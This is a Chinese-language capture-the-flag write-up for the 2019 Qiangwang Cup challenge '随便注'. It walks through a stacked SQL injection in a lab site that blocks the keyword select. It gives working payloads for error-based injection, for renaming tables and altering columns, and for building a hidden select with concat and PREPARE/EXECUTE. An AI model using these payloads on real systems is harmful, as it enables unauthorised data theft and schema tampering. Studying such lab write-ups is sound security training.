[强网杯 2019]随便注 1
第一步,先判断注入点的传参方式,发现是get传参。
第二步,判断闭合方式:
先输入 1
然后再尝试输入:1’
说明了两点:本题的闭合方式确实是 ’ 闭合,同时我们确定在本题我们是有可能是能使用报错注入的。
1’and 1=1-- q
1’and 1=2-- q
说明闭合方式为 单引号
如果输入1“and 1=1-- q 和1”and 1=2-- q 两次的回显结果一样,说明闭合方式不是 双引号 其他同理
第三步,判断是否有关键字过滤:
先直接输入: select 查看回显,发现:
发现本题过滤关键字:/select|update|delete|drop|insert|where|\.
而且不区分大小写。
坏了,select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。
先尝试使用堆叠注入:
1’;show database-- q
发现可以
1’;show tables-- q
发现有两个表,我们 一 一 尝试:
1'; show columns from `words`-- q
当然在报错注入查询 数据库名字的时候是不用select的,所以在这里我们是可以用的:
1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q
查询表名:
1'; show columns from `1919810931114514`-- q
发现flag.
关于在这里使用 ` 而不是 ’ 的一些解释:
两者在linux下和windows下不同,linux下不区分,windows下区分。
单引号 ’ 或双引号主要用于 字符串的引用符号
反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)
有MYSQL保留字作为字段的,必须加上反引号来区分!!!
如果是数值,请不要使用引号。
但是,在接着查询 id 就需要 select了
到这里就有两个思路:
第一种:比较骚的思路,让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。
- 先将 words 改为别的名字 比如 words2 或者其他
- 然后将 1919810931114514 改为 words
- 把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
所以我们可以这么构造playload:
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- q
1';show tables-- q
1'; show columns from words-- q
1'or1=1-- q
第二种方法:利用concat拼接(mysql的语法知识)
-1’;use supersqli;set @sql=concat(‘s’,'elect flag
from 1919810931114514
');PREPARE stmt1 FROM @sql;EXECUTE stmt1-- q
这里set为变量赋值
PREPARE设置sql查询语法
EXECUTE 执行函数